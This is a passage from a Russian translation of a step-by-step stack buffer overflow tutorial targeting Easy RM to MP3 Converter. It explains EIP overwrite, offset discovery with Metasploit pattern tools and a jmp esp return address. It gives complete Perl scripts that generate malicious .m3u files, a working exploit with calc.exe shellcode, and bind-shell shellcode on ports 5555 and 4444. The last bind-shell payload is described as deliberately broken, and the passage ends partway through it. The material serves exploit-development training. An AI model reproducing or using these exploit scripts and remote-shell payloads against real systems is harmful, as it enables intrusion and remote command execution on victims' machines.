В результате помещения аргумента функции в стек (PUSH), ESP уменьшиться на 4 байта (АААА), и теперь указывает на более низкий адрес.
ESP в 0022FF5C. В этом адресе мы видим сохраненный EIP (Return to…), сопровождаемый указателем на параметр (AAAA в этом примере). Этот указатель был сохранен на стеке прежде, чем выполнилась команда CALL.
Затем, функция начинает выполнение. Сохраняется указатель EBP на стек, таким образом, можно будет восстановить прежнее состояние, когда функция завершится. Команда, которая сохранит указатель области стека - "push ebp". ESP снова уменьшается на 4 байта.
После помещения EBP в стек, текущий указатель вершины стека (ESP) помещен в EBP. В той точке, и ESP и EBP указываются наверху текущего стека. На ту точку стека будут ссылаться на ESP и EBP (указатель базы текущего стека). Таким образом, приложение сможет сослаться на переменные, используя смещения к EBP.
Примечание: Большинство функций начинается с этой последовательности: PUSH EBP, сопровождаемый MOV EBP, ESP
Что ж, если бы мы поместили ещё 4 байта в стек, ESP был бы снова уменьшен, а в EBP записался бы адрес, где это произошло. Мы могли бы сослаться на эти 4 байта при использовании EBP-0?8.
Далее, мы можем видеть, как объявлено/распределено пространство стека для переменной MyVar (128 байтов). В стеке имеется область, чтобы держать данные из этой переменной … ESP снова уменьшается на несколько байт. Это число байт, вероятно, будет больше чем 128, из-за подпрограммы распределения, определенной компилятором. В нашем случае это - 0?98 байт. Таким образом, мы видим команду “SUB ESP, 0?98”.
Дизассемблированная функция выглядит следующим образом:
Код:
00401290 /$ 55 PUSH EBP
00401291 |. 89E5 MOV EBP,ESP
00401293 |. 81EC 98000000 SUB ESP,98
00401299 |. 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8] ; |
0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |
004012A0 |. 8D85 78FFFFFF LEA EAX,DWORD PTR SS:[EBP-88] ; |
004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |
004012A9 |. E8 72050000 CALL <jmp. &MSVCRT.STRCPY=""> ; \strcpy
004012AE |. C9 LEAVE
004012AF \. C3 RETN
Вы можете видеть начало выполнения функции (PUSH EBP и MOV EBP, ESP). Также видно место, отведенное для MyVar (SUB ESP, 98), и команды MOV и LEA, которые, в основном устанавливают параметры для strcpy() - функции, берущей указатель из argv[1], для того, чтобы скопировать данные в MyVar.
Если бы здесь не было strcpy(), функция бы завершилась и "раскрутила" бы стек. Это могло бы вызвать изменение ESP в обратную сторону, к тому месту, где сохранено значение EIP, и выполнилась бы команда RET. RET, в данном случае, перейдёт к EIP, таким образом, произойдёт возвращение в главную функцию main(), правда не туда откуда произошел вызов do_something(). В завершении, произойдет выполнение команды LEAVE, которая восстановит framepointer и EIP.
В моем примере функция strcpy() есть.
Эта функция будет читать данные из адреса, пока не увидит нулевой байт (признак конца строки), на который указывает [Buffer], и сохранит их в пространстве для MyVar,. В то время, пока копируются данные, ESP находится там же. Функция strcpy() не использует команду PUSH, чтобы перемещать данные по стеку. Она читает байты, и сообщает о них стеку, используя индексы (например: ESP, ESP+1, ESP+2, и т.д). После копирования, ESP все еще находится в точке начала строки.
Это значит, что если данные в [Buffer] будут длиннее чем 0?98 байт, то функция strcpy () перезапишет ими EBP, и EIP (и так далее). Она будет совершать чтение/запись до тех пор, пока не достигнет нулевого байта в этой строке.
ESP все еще указывает на начало строки. strcpy() завершается, как будто бы все хорошо. После strcpy(), следует завершение функции. И тут становиться уже интересно. Область для корректного завершения функции перезаписана буквами «А». ESP будет двигаться обратно, до места где сохранен EIP, в котором находиться RET – выход из функции.
Таким образом, мы получим контроль над EIP.
Управляя EIP, вы можете изменить адрес возврата функции, чтобы вернуться в “нормальный поток”. Если вы измените этот адрес, используя буферное переполнение, это будет уже не “нормальный поток”.
Таким образом, вы можете записать поверх буфера в MyVar, EBP, EIP, много «A» (ваш собственный код) в области до и после той, где сохранено EIP. После подачи буфера ([MyVar] [EBP] [EIP] [Ваш код]), ESP должен/будет находиться в начале [Ваш код]. Если вы сможете заставить EIP пойти в ваш код, вы получите управление над дальнейшим ходом выполнения программы.
Отладчик.
Чтобы понаблюдать за состоянием стека и значениями в регистрах, вы должны подключиться к программе при помощи отладчика.
Существует множество отладчиков подходящих под эти цели. Отладчиками, которыми я пользуюсь чаще всего, являются WinDbg, Immunity Debbuger, OllyDbg. Давайте воспользуемся WinDbg, и при установке укажите его, как стандартный в системе отладчик, используя “windbg -I”.
Вы также можете отключить всплывающее сообщение «xxx столкнулся с проблемой и должен закрыться», установив в “0” ключ реестра: HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto
Если WinDbg будет жаловаться, что файлы символов не обнаружены, то создайте папку на жестком диске, например «C:\WinDbgSymbols», и пройдя в меню программы «“File” – “Symbol File Path”» и введите команду (без пробелов):
SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols
Отлично, давайте начнем.
Запустите Easy RM to MP3 и загрузите в неё файл crash.m3u. Приложение падает, и если при установке вы установили WinDbg как «родной» отладчик, должно появиться сообщение, в котором следует нажать “Debug”.
Прим. Переводчика: «Если вы не установили WinDbg в режим “post-mortem”, то сделайте следующее: запустите конвертер, и WinDbg. В отладчике пройдите в “File – Attach to Process (F6)” и выберете из появившегося списка, процесс нашей испытуемой программы – “RM2MP3Converter.exe”. Нажмите в отладчике “Debug – Go(F5)”. Теперь откройте через EasyRMtoMP3 файл crash.m3u, и следите за реакцией отладчика»
WinDbg:
Immunity:
Этот GUI (графический интерфейс пользователя) показывает ту же информацию, но в большем и удобочитаемом количестве. В верхнем левом углу находиться окно данных программы, которое показывает команды трансляции и коды операций (окно пусто, потому что EIP в настоящее время указывает на 41414141, и это не правильный адрес). В верхнем правом окне вы можете видеть регистры. В нижнем левом углу вы видите дамп памяти 00446000 в этом случае. В нижнем правом углу находиться окно стека.
В обеих случаях мы видим в указателе команды (EIP) 41414141, что является шестнадцатиричным представлением AAAA.
Примечание: в Intel x86 адреса сохранены в формате little-endian. Это значит, что они отображаются наоборот. На примере с AAAA это незаметно, но вот если бы это была последовательность ABCD, то мы бы наблюдали в EIP 44434241, что эквивалентно DCBA.
Таким образом, мы видим, что часть crash.m3u записалась в буфер и вызвала его переполнение. А так, как часть строки попала и в EIP, мы можем делать вывод об исполнении своего кода, путем изменения значения в EIP. Такое поведение называется «переполнение стека» (или «буферное переполнение», или BoF).
Так как наш файл содержит только символы “A”, мы незнаем точно, насколько большим наш буфер должен быть, чтобы попасть точно в EIP. Иными словами мы должны знать точную позицию в нашем буфере/полезной нагрузке (payload), чтобы перезаписать EIP, тем что нам нужно. Эта позиция часто упоминается как “смещение/оффсет/offset”.
Определяем размер буфера, чтобы попасть точно в EIP.
Нам уже известно, что EIP расположен где-то между 20 000 и 30 000 байт от начала буфера. Теперь, мы можем перезаписать все А адресом, который мы бы хотели поместить в EIP. Это сработает, но мы попробуем найти точное место, где происходить перезапись. Чтобы определить в буфере точное смещение данных для EIP, нам необходимо проделать кое-какие действия.
Во-первых, давайте сузим потенциальное местоположение, изменив немного Perl-скрипт. Мы создадим файл, который будет содержать 25000 «A» и 5000 «B». Если в EIP попадут 41414141(АААА), то искомая область буфера находится между 20000 и 25000 «А», а если в EIP будет 42424242(BBBB), то область находиться между 25000 и 30000.
Код:
#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
my $junk = $junk1.$junk2;
open($FILE,">$file");
print $FILE $junk;
close($FILE);
print "m3u File Created successfully\n";
Запустим этот скрипт, и получим новый crash.m3u файл. Запустив его в конвертере и отследив отладчиком, увидим:
Видим, что EIP содержит 42424242(BBBB), а значит что смещение EIP находиться между 25000 и 30000. Нам также известно, что и в ESP попали «B», а значит, что EIP находиться не в самом конце буфера (т.к. EIP идет перед ESP).
Дамп содержимого в ESP:
Отлично! Мы переписали EIP «BBBB» и увидели его продолжение в ESP.
Прежде чем улучшить наш perl-скприт, мы должны узнать место в буфере(смещение), которое в дальнейшем перезапишет EIP. Для этих целей воспользуемся Metasploit Framework’ом. В нём присутствует отличный инструмент для подсчета смещений. Он генерирует строку состоящую из уникальных последовательностей – паттернов, по которым в дальнейшем определяется местоположение в буфере, т.к. для каждого участка буфера идет уникальный порядок символов в паттерне.
Откройте папку инструментов Metasploit (на данный момент версия 3.4) «msf3/tools/», и запустите утилиту под названием pattern_create.rb, выставив значение 5000 знаков. Полученный результат запишите в perl-скрипт, таким образом:
Код:
#!usr/bin/perl
my $file= "crash25000.m3u";
my $junk1 = "\x41" x 25000;
my $junk2 = “СЮДА ВСТАВИТЬ ПОЛУЧЕННУЮ СТРОКУ”;
my $junk = $junk.$junk2;
open($FILE,">$file");
print $FILE "$junk";
close($FILE);
print "m3u File Created successfully\n";
Создайте m3u-файл, и запустите в конвертере. Обратите внимание на EIP:
Значение, которое на этот раз попало в EIP – 0x386b4237(в little endian это 37 42 6b 38 – 7Bk8). Теперь вновь обратимся к Metasploit, а именно к его утилите pattern_offset.rb. Запускаем так:
# ./pattern_offset.rb 0x386b4237 5000
Получили 1103. Это длина буфера до области перезаписывающей EIP. Что ж, если мы создадим файл с 25000+1103 «A» и прибавим к ним «BBBB», то при очередном переполнении мы увидим в EIP 42 42 42 42. Также мы знаем, что в ESP попадает остаток буфера, не вошедший в EIP. Давайте добавим для наглядности «С».
Изменяем perl-скрипт на новый лад:
Код:
#!usr/bin/perl
my $file= "eipcrash.m3u";
my $junk= "A" x 26103;#25000+1103
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
Выполним данный скрипт, получившийся файл отправим в программу. Вывод будет следующим:
Превосходно! В EIP попало BBBB, так как мы и хотели. Теперь мы можем управлять потоком программы.
Примечание: вся работа описанная здесь, содержит адреса моей операционной системы, которые могут отличаться от ваших. Имейте это ввиду при копировании кода, содержащего смещения, и перед запуском изменяйте их на свои.
Теперь буфер нашего эксплойта выглядит так:
А стек так:
Ищем место в памяти для размещения шеллкода.
Мы контролируем EIP. Таким образом, мы можем указать EIP свернуть в другое место, которое будет содержать наш собственный код (shellcode). Но как найти это место, и как туда поместить свой шеллкод, и в дальнейшем осуществить переход EIP к нему?
Чтобы приложение упало, мы записали 26103 «A» в память, переписали значение в EIP, а также записали цепочку «C» в ESP.
Когда приложение терпит крушение, понаблюдайте за регистрами, получая их дамп (команды: d esp, d eax, d ebx, d ebp, …). Если у вас получиться найти свой буфер (из «A» или из «C») в одном из регистров, то у вас есть шанс заменить их на свой шеллкод. В нашем примере мы видим, что ESP содержит много «С», и эта область идеальна для размещения там нашего шеллкода.
Несмотря на то, что мы можем увидеть массив из символов «C», мы не знаем наверняка, что первая буква C (по адресу 000ffd38, на который указывает ESP), является фактически первым символом в массиве.
Мы изменим perl-скрипт, и подадим строку символов (я взял 144 символа, но вы можете взять больше или меньше) вместо массива с «C»:
Код:
#!usr/bin/perl
my $file= "test1.m3u";
my $junk= "A" x 26103;
my $eip = "BBBB";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Генерируем файл, и запускаем в конвертере. Делаем дамп ESP («d esp»):
Здесь мы можем наблюдать два интересных момента:
- ESP начинается с 5-го символа нашего шаблона, а не с первого.
- После шаблона мы видим “A”. Они принадлежат первой части буфера (26103 x «A»), таким образом мы можем поместить наш шеллкод в первую часть буфера (прежде, чем перезапишем RET)
Код:
#!usr/bin/perl
my $file= "test2.m3u";
my $junk= "A" x 26068;
my $eip = "BBBB";
my $newchar = "X" x 37;
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$newchar.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Проведем переполнение ещё раз, и посмотрим на реакцию:
Уже намного лучше. Удалось выровнять буфер к началу ESP-области.
Итак, что мы имеем:
- управление EIP
- область для размещения шеллкода
- регистр, который указывает на шеллкод, а именно адрес 000ffd38
- встроить реальный шеллкод
- заставить EIP перейти на шеллкод, указав адрес 000ffd38
Проведем небольшой тест: запишем 26103 «А», после запишем 0x000ffd38 в EIP, за ними будут идти 25 NOP’ов, после них разрыв, и ещё немного NOP’ов. Код скрипта следующий:
Код:
#!usr/bin/perl
my $file= "test3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x000ffd38);
my $shellcode = "\x90" x 25; # NOP-след
$shellcode = $shellcode."\xcc"; #разрыв
$shellcode = $shellcode."\x90" x 25; # NOP-след
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Приложение упало. Если взглянуть на EIP, то можно видеть, что он указывает на 0x000ffd38, как и ESP. Если сделать дамп ESP, то можно увидеть не совсем то, что ожидалось:
Переход непосредственно к адресу памяти, возможно, не лучшее решение. 000ff730 содержит нулевой байт, который является признаком конца строки … так «A», которые мы видим, исходят из первой части буфера …, мы ещё не достигали точки, где могли бы писать свои данные после перезаписи EIP.
Кроме того, использование жестко заданного адреса памяти для перехода к шеллкоду сделало бы эксплойт очень ненадежным. Дело в том, что этот адрес памяти может быть различным в зависимости от версий OS, языка, патчей, и т.д.
Небольшое отступление: мы не должны переписывать EIP прямым указателем адреса памяти, таким как 000ffd38. Это не хорошая идея. Мы должны использовать другую методику, чтобы достигнуть той же цели: создать переход приложения к нашему собственному коду. Идеально было бы сослаться на регистр (или смещение к регистру), в нашем случае к ESP, и найти функцию, которая перейдет к этому регистру. Тогда мы попытаемся перезаписать EIP адресом той функции.
Перейти к шеллкоду более надежным способом.
Нам удалось поместить наш шеллкод в ESP. Если бы этого не было, то мы обратились бы к значениям других адресов регистра в надежде найти наш буфер. В любом случае мы будем использовать ESP.
Переход к ESP является очень частым случаем в приложениях Windows. Фактически, приложения используют одну или более dll-библиотек, и их содержимое. Кроме того, адреса, используемые в dll, являются статическими. То есть, если мы найдём dll, которая содержит команду, для перехода к ESP, и если нам удастся перезаписать EIP адресом той команды, то переход может получиться. Давайте проверим. Прежде всего, мы должны выяснить, какой код у операции “jmp ESP”.
Мы можем сделать это, запустив конвертер и подключить к его процессу отладчик. Это дает нам преимущество, т.к. windbg будет видеть все dll и модули, которые загружены приложением.
После присоединения отладчика к процессу приложение остановится. Для этого, в командной строке windbg, внизу экрана, введём “a” (assembler). Далее вводим ”jmp ESP”.
Жмем “Enter”, и вводим “u” (unassemble):
Рядом с 7c90120e, мы видим ffe4. Это – код для операции “jmp esp”
Теперь мы должны найти этот код в одной из загруженных dll.
Пролистав окно отладчика вверх, найдём строки, которые указывают на dll, принадлежащие конвертеру:
Если мы сможем найти код операции “jmp esp” в одной из этих dll, то у нас есть шанс создать надежно работающий эксплойт на платформе Windows XP. Если бы мы захотели использовать dll, которая принадлежит OS, то эксплойт мог отказаться работать на других версиях системы. Исследуем содержимое одной из dll нашей экспериментальной программы.
Для осмотра возьмём “ C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll”. Эта dll загружена между 01c30000 и 020fd000. Искать в этой области мы будет код нашей операции - “ff e4”, введя в командную строку отладчика “s 01c30000 l 020fd000 ff e4”:
Превосходно. Когда выбран адрес, важно найти нулевые байты. Мы должны избегать использования адресов с нулевыми байтами, особенно, если мы используем буферные данные, которые будут находиться после перезаписанного EIP. Нулевой байт стал бы признаком конца строки, и оставшаяся часть буферных данных будет непригодной.
Ещё одна хорошая область для поиска кодов операции “s 70000000 l fffffff и следующие e4”.
Отметьте: есть другие способы получить адреса кода операции:
- программа findjmp (от Ryan Permeh): компилируем findjmp.c и выполняем со следующими параметрами:
- база опкодов от metasploit.com
- memdump
В любом случае, сейчас мы будем использовать полезную нагрузку после перезаписи EIP, поэтому адрес не должен содержать нулевые байты.
Первый адрес: 0x01def23a
Проверим, что этот адрес содержит jmp esp (отбросьте “0x” 01def23a ) и введём в командную строку отладчика “u 01def23a ”:
Теперь, если мы запишем в EIP 0x01def23a, то выполниться операция jmp esp, тем самым передав управление на наш шеллкод. Т.е., мы добились работоспособности эксплойта. Давайте протестируем его.
Закройте отладчик, и создайте новый .m3u-файл при помощи нижеследующего perl-скрипта:
Код:
#!usr/bin/perl
my $file= "test4.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x01def23a);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Теперь программа упала по адресу 000ffd4d, который является точкой останова(breakpoint).
Теперь можно перейти к использованию функциональных шеллкодов.
Выбираем шеллкод и завершаем разработку эксплойта.
В metasploit есть отличный генератор полезных нагрузок, который поможет вам при разработке шеллкода. Полезные нагрузки идут с различными опциями, и (в зависимости от того, что они должны сделать), могут быть маленьких или очень больших размеров. Если у вас есть ограничение по размеру в пространстве для буфера, то вы могли бы обратить своё внимание на многоуровневый шеллкод (multi-staged shellcode), или использовать собственноручный шеллкод, такой как этот http://packetstormsecurity.org/shellcode/2...s-shellcode.txt (32 байта cmd.exe шеллкод для xp sp2). Также, вы можете разделить свой шеллкод на более меньшие части - 'eggs' и использовать методику, названную 'eggs-hunting'.
Скажем, мы хотим, чтобы calc.exe был выполнен, как наша полезная нагрузка для эксплойта, тогда шеллкод может выглядеть следующим образом:
Код:
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
Объединим данную нагрузку с нашим perl-скриптом:
Код:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V', 0x01def23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Проверяем в деле: запускаем скрипт – получает .m3u-файл – запускаем конвертер – скармливаем ему .m3u-файл – смотрим на результат.
БУМ! Теперь у нас есть свой первый рабочий эксплойт!
Что, если вы захотите сделать что-то ещё, кроме как запуск calc.exe?
Вы можете создать другой шеллкод и заменить им “launch calc.exe shellcode”, но возникают риски не вложиться по размерам в отведенную область буфера, либо в шеллкоде будут присутствовать недопустимые символы, которые могут быть отфильтрованы.
Например, если мы хотим иметь эксплойт, который сделает bind port (привязку к порту), и удаленный взломщик сможет подключившись к нему получить доступ через командную строку. Такой шеллкод может выглядеть следующим образом:
Код:
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";
Как вы могли заметить, этот шеллкод длиной в 344 байта, и он не вызовет падение программы:
Это наиболее вероятная проблема, возникающая из-за размерности шеллкода и буфера. Также мы можем столкнуться с проблемой запрещенных символов. Вы можете избежать таких символов строя шеллкод в metasploit’е, но вам должно быть известно, какие из символов допустимы, а какие нет.
Проблему с запретами можно решить через кодировщики(encoders). В предыдущей полезной нагрузке мы использовали “x86/shikata_ga_nai”, но вполне возможно, что с применением alpha_upper нагрузка будет работать лучше. Используя другой кодировщик, вполне возможно увеличить длину шеллкода, но это, как нам уже известно, не большая проблема.
Давайте попытаемся построить пэйлод tcp_shell_bind, используя alpha_upper кодировщик.
Мы привяжем оболочку(shell) на 4444 порт. Новый шеллкод составит 703 байта.
код демонстрационный:
Код:
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
"\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
<...>
"\x50\x41\x41";
Давайте применим этот код к нашему эксплойту.
P.S. Код преднамеренно сломан, для того чтобы вы сами попробовали применить полученные знания, и попытались его восстановить:
Код:
#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be:8800
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26103;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/shell_bind_tcp - 703 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x89\xe1\xdb\xd4\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x00\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x42" .
"\x4a\x4a\x4b\x50\x4d\x4b\x58\x4c\x39\x4b\x4f\x4b\x4f\x4b" .
"\x4f\x43\x50\x4c\x4b\x42\x4c\x51\x34\x51\x34\x4c\x4b\x47" .
"\x35\x47\x4c\x4c\x4b\x43\x4c\x44\x45\x44\x38\x45\x51\x4a" .
"\x4f\x4c\x4b\x50\x4f\x42\x38\x4c\x4b\x51\x4f\x51\x30\x43" .
"\x31\x4a\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x43\x31\x4a" .
"\x4e\x46\x51\x49\x50\x4a\x39\x4e\x4c\x4d\x54\x49\x50\x44" .
"\x34\x45\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x49\x52\x4a" .
"\x4b\x4a\x54\x47\x4b\x51\x44\x51\x34\x47\x58\x44\x35\x4a" .
"\x45\x4c\x4b\x51\x4f\x47\x54\x43\x31\x4a\x4b\x45\x36\x4c" .
"\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a" .
"\x4b\x44\x43\x46\x4c\x4c\x4b\x4d\x59\x42\x4c\x46\x44\x45" .
"\x4c\x43\x51\x48\x43\x46\x51\x49\x4b\x45\x34\x4c\x4b\x50" .
"\x43\x50\x30\x4c\x4b\x51\x50\x44\x4c\x4c\x4b\x42\x50\x45" .
"\x4c\x4e\x4d\x4c\x4b\x51\x50\x45\x58\x51\x4e\x43\x58\x4c" .
"\x4e\x50\x4e\x44\x4e\x4a\x4c\x50\x50\x4b\x4f\x48\x56\x43" .
"\x56\x50\x53\x45\x36\x45\x38\x50\x33\x50\x32\x42\x48\x43" .
